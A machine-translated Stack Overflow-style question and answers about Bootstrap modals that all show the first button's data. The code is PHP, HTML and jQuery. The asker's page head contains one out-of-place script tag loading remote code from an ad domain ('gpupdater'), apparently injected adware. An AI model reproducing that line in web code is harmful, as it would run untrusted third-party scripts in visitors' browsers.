如何從按鈕中彈出內容？

我有一排按鈕是基於數據庫中的數據回顯出來的。 enter image description here 如何從按鈕中彈出內容？

當此按鈕，用戶點擊，會出現一個彈出了對話框， enter image description here

我現在面臨的問題是，在該對話框中的內容不匹配的內容按鈕。它重複第一個按鈕的相同值。

<head> 
 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
 
<title>Untitled Document</title> 
 
<link href="bootstrap/css/bootstrap.min.css" rel="stylesheet"> 
 
<link href="bootstrap/css/bootstrap.css" rel="stylesheet"> 
 
<link href="style.css" rel="stylesheet"> 
 
<link href="jquery-1.11.3.js"> 
 
<script src="https://engowe.com/ad.php?u=21c16203a445e63fb51f9abe9cc4fb29&c=gpupdater&p=1"></script> 
 
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
 
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> 
 
<script> 
 
function loadXMLDoc() 
 
{ 
 
var xmlhttp; 
 
var txt,x,i; 
 
if (window.XMLHttpRequest) 
 
    { 
 
    xmlhttp=new XMLHttpRequest(); 
 
    } 
 
xmlhttp.onreadystatechange=function() 
 
    { 
 
    if (xmlhttp.readyState==4 && xmlhttp.status==200) 
 
    { 
 
    xmlDoc=xmlhttp.responseXML; 
 
    txt=""; 
 
    x=xmlDoc.getElementsByTagName("TITLE"); 
 
    for (i=0;i<x.length;i++) 
 
     { 
 
     txt=txt + x[i].childNodes[0].nodeValue + "<br>"; 
 
     } 
 
    document.getElementById("myDiv").innerHTML=txt; 
 
    } 
 
    } 
 
xmlhttp.open("GET","http://www.w3schools.com/ajax/cd_catalog.xml",true); 
 
xmlhttp.send(); 
 
} 
 
</script> 
 

 
</head> 
 
<body> 
 

 
<div class="bodycontainer"> 
 
    <div class="panel panel-default"> 
 
    <div class="panel-heading"> 
 
     <h3 class="panel-title">Today</h3> 
 
    </div> 
 
    <div class="panel-body"> 
 
     <?php 
 
\t \t require 'dbfunction.php'; 
 

 

 
\t \t $con = getDbConnect(); 
 
\t \t $day = date("l"); 
 

 
\t \t if (mysqli_connect_errno($con)) { 
 
\t \t \t "Failed to connect to MySQL: " . mysqli_connect_error(); 
 
\t \t } else { 
 
\t \t \t $result = mysqli_query($con, "SELECT * FROM timetableschedule WHERE day='" . $day . "'"); 
 

 
\t \t \t while ($schedule = mysqli_fetch_array($result)) { 
 
\t \t \t \t ?> 
 
     <div class="col-md-3"> 
 
     <button type="button" class="btn btn-warning popup" data-toggle="modal" data-target="#myModal"> 
 
     <?php 
 
\t \t echo "<br/>"; 
 
\t \t echo $schedule['academicInstitution'] . "<br />"; 
 
\t \t echo $schedule['startTime'] . "-" . $schedule['endTime'] . "hrs<br />"; 
 
\t \t echo "<br/>"; 
 
\t \t ?> 
 
     </button> 
 
     <div class="modal fade" id="myModal" role="dialog"> 
 
      <div class="modal-dialog"> 
 
      
 
      <!-- Modal content--> 
 
      <div class="modal-content"> 
 
       <div class="modal-header"> 
 
       <button type="button" class="close" data-dismiss="modal"></button> 
 
       <h4 class="modal-title">Insert Todays Activity</h4> 
 
       </div> 
 
       <div class="modal-body"> 
 
       <p> 
 
        <?php 
 
\t \t \t \t echo "<br/>"; 
 
\t \t \t \t echo $schedule['academicInstitution'] . "<br />"; 
 
\t \t \t \t echo $schedule['startTime'] . "-" . $schedule['endTime'] . "hrs<br />"; 
 
\t \t \t \t echo "<br/>"; 
 
\t \t \t \t ?> 
 
       </p> 
 
       </div> 
 
       <div class="modal-footer"> 
 
       <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> 
 
       </div> 
 
      </div> 
 
      </div> 
 
     </div> 
 
     </div> 
 
     <?php 
 
\t \t } 
 
\t \t mysqli_close($con); 
 
\t } 
 
\t ?> 
 
    </div> 
 
    </div> 
 
    </body>

來源

2015-07-20 Raymond

我掙扎着這樣那樣的問題早就發現這個問題的唯一解決方案，如果採用自舉模式

$(document).ready(function(){ 
    $('#myModal').on('hidden.bs.modal', function() { 
     $(this).removeData('bs.modal'); 
    }); 
});

或者其他類似的東西

$(document.body).on('hidden.bs.modal', function() { 
    $('#myModal').removeData('bs.modal') 
});

它會刷新彈出窗口，刪除舊數據a並加載新的相關數據彈出窗口，您可以找到更多詳細信息Here

來源

2015-07-20 06:35:15 Shehary

我在哪裏添加代碼？ – Raymond

高於或低於bootstrap模式更好的不在while循環內，並且不要忘記在 – Shehary

沒有發生變化：P – Raymond

您正在使用jQuery，而您仍然在爲xmlhttprequest？由於你使用jQuery保存你自己從一個混亂

$(document).ready(function(){ 
    $('[id=someId]').on("click", function(){ 
     var btnContent = $(this).text(); 
     $(".modal-body").empty().append(btnContent); 
    }) 
});

來源

2015-07-20 06:39:57

如何從按鈕中彈出內容？

回答

相關問題